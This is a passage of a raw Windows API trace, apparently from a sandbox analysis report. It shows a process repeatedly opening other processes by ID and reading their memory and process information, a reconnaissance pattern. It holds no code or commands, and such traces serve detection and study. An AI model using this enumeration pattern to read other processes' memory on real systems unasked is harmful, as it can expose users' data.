lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.817] malloc (_Size=0x70) returned 0x196ef0d31b0 [0272.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x551960, lpBuffer=0x196ef0d31b0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.817] free (_Block=0x196ef0d31b0) [0272.818] CloseHandle (hObject=0x464) returned 1 [0272.857] _ui64tow_s (in: _Value=0xfc8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4040") returned 0x0 [0272.862] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4040") returned 4 [0272.863] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.864] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.887] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfc8) returned 0x464 [0272.887] GetLastError () returned 0x0 [0272.888] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.888] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.891] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.893] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.893] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3b2020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.893] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.893] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0272.893] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.894] free (_Block=0x196ef0d31b0) [0272.895] CloseHandle (hObject=0x464) returned 1 [0272.896] _ui64tow_s (in: _Value=0xfd4, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4052") returned 0x0 [0272.947] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4052") returned 4 [0272.949] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.949] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.014] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfd4) returned 0x464 [0273.014] GetLastError () returned 0x0 [0273.014] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.017] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.019] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.019] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3be020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.020] malloc (_Size=0x78) returned 0x196ef0d2120 [0273.020] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0273.021] free (_Block=0x196ef0d2120) [0273.022] CloseHandle (hObject=0x464) returned 1 [0273.023] _ui64tow_s (in: _Value=0xfdc, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4060") returned 0x0 [0273.028] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4060") returned 4 [0273.030] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.030] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xfdc) returned 0x464 [0273.085] GetLastError () returned 0x0 [0273.086] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.086] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.087] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.087] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x591d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.087] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5918f8, lpBuffer=0x670f7c2b0, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.089] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.091] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.092] malloc (_Size=0x7e) returned 0x196ef0fa4e0 [0273.092] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x59196e, lpBuffer=0x196ef0fa4e0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa4e0*, lpNumberOfBytesRead=0x0) returned 1 [0273.093] free (_Block=0x196ef0fa4e0) [0273.094] CloseHandle (hObject=0x464) returned 1 [0273.096] _ui64tow_s (in: _Value=0xff0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4080") returned 0x0 [0273.102] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4080") returned 4 [0273.104] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.104] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.155] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff0) returned 0x464 [0273.155] GetLastError () returned 0x0 [0273.156] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.156] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.157] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.159] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.162] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.162] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37d020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.162] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.162] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0273.162] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.163] free (_Block=0x196ef0d31b0) [0273.165] CloseHandle (hObject=0x464) returned 1 [0273.166] _ui64tow_s (in: _Value=0xff8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4088") returned 0x0 [0273.172] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4088") returned 4 [0273.174] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.174] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.251] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xff8) returned 0x464 [0273.251] GetLastError () returned 0x0 [0273.251] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1cf0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.252] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e18f8, lpBuffer=0x670f7c2b0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.254] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.255] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.255] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b5020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.255] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.255] malloc (_Size=0x72) returned 0x196ef0d31b0 [0273.255] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5e1962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.256] free (_Block=0x196ef0d31b0) [0273.257] CloseHandle (hObject=0x464) returned 1 [0273.257] _ui64tow_s (in: _Value=0x1004, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4100") returned 0x0 [0273.261] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4100") returned 4 [0273.263] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.263] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.301] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1004) returned 0x464 [0273.301] GetLastError () returned 0x0 [0273.302] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.302] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x670f7c2b0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.303] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.304] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x37f020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.305] malloc (_Size=0x6a) returned 0x196ef0d31b0 [0273.305] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x51195a, lpBuffer=0x196ef0d31b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.305] free (_Block=0x196ef0d31b0) [0273.306] CloseHandle (hObject=0x464) returned 1 [0273.306] _ui64tow_s (in: _Value=0x100c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4108") returned 0x0 [0273.310] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4108") returned 4 [0273.313] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.313] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.332] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x100c) returned 0x464 [0273.332] GetLastError () returned 0x0 [0273.332] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.333] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3918f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.334] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.335] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.335] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0273.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3912e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0273.336] malloc (_Size=0x82) returned 0x196ef0fa7b0 [0273.336] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x391972, lpBuffer=0x196ef0fa7b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa7b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.336] free (_Block=0x196ef0fa7b0) [0273.337] CloseHandle (hObject=0x464) returned 1 [0273.337] _ui64tow_s (in: _Value=0x1018, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="4120") returned 0x0 [0273.363] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="4120") returned 4 [0273.365] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0273.365] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0273.383] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1018) returned 0x464 [0273.383] GetLastError () returned 0x0 [0273.384] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0273.384] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0273.384] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0273.385] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x311d10, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0273.385] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3118f8, lpBuffer=0x670f7c2b0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0273.386] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0273.387] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0273.387] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4aa020, 